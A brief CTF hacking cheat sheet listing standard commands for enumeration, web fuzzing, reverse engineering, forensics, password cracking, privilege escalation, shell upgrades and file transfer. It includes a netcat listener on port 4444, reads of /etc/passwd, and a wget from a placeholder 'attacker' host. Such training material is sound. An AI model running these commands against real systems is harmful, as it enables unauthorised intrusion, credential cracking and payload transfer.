

CTF Hacking Handbook

A practical, command-heavy guide for Capture The Flag competitions.

1. Enumeration

```
hostname
whoami
id
uname -a
cat /etc/passwd
ls -la
env
ps aux
netstat -tuln
```

2. File & Content Discovery

```
find / -name "*.txt" 2>/dev/null
grep -r "flag" .
strings file
file file
hexdump -C file
```

3. Encoding & Crypto

```
base64 -d file
echo "text" | xxd
xxd -r file.hex
echo "text" | tr 'a-z' 'n-za-m'
openssl enc -aes-256-cbc -d -in file
```

4. Networking

```
nmap -A target
nmap -p- target
nc host port
nc -lvnp 4444
tcpdump -i any
```

5. Web Exploitation

```
curl -X POST -d "user=admin&pass=admin" http://site.com
ffuf -u http://site.com/FUZZ -w wordlist.txt
gobuster dir -u http://site.com -w wordlist.txt
```

6. Reverse Engineering

```
strings binary
ltrace ./binary
strace ./binary
gdb ./binary
objdump -d binary
```

7. Forensics

```
binwalk -e file
foremost -i file
exiftool image.jpg
steghide extract -sf image.jpg
```

8. Password Cracking

```
john hash.txt
```

```
hashcat -m 0 hash.txt rockyou.txt
```

9. Privilege Escalation

```
sudo -l  
find / -perm -4000 2>/dev/null  
getcap -r / 2>/dev/null
```

10. Shell & Exploitation

```
python3 -c 'import pty; pty.spawn("/bin/bash")'  
bash -i  
export TERM=xterm
```

11. File Transfer

```
scp file user@host:/tmp  
wget http://attacker/file  
python3 -m http.server 8000
```

Tips & Workflow

1. Enumerate everything 2. Analyze outputs 3. Exploit vulnerabilities 4. Capture the flag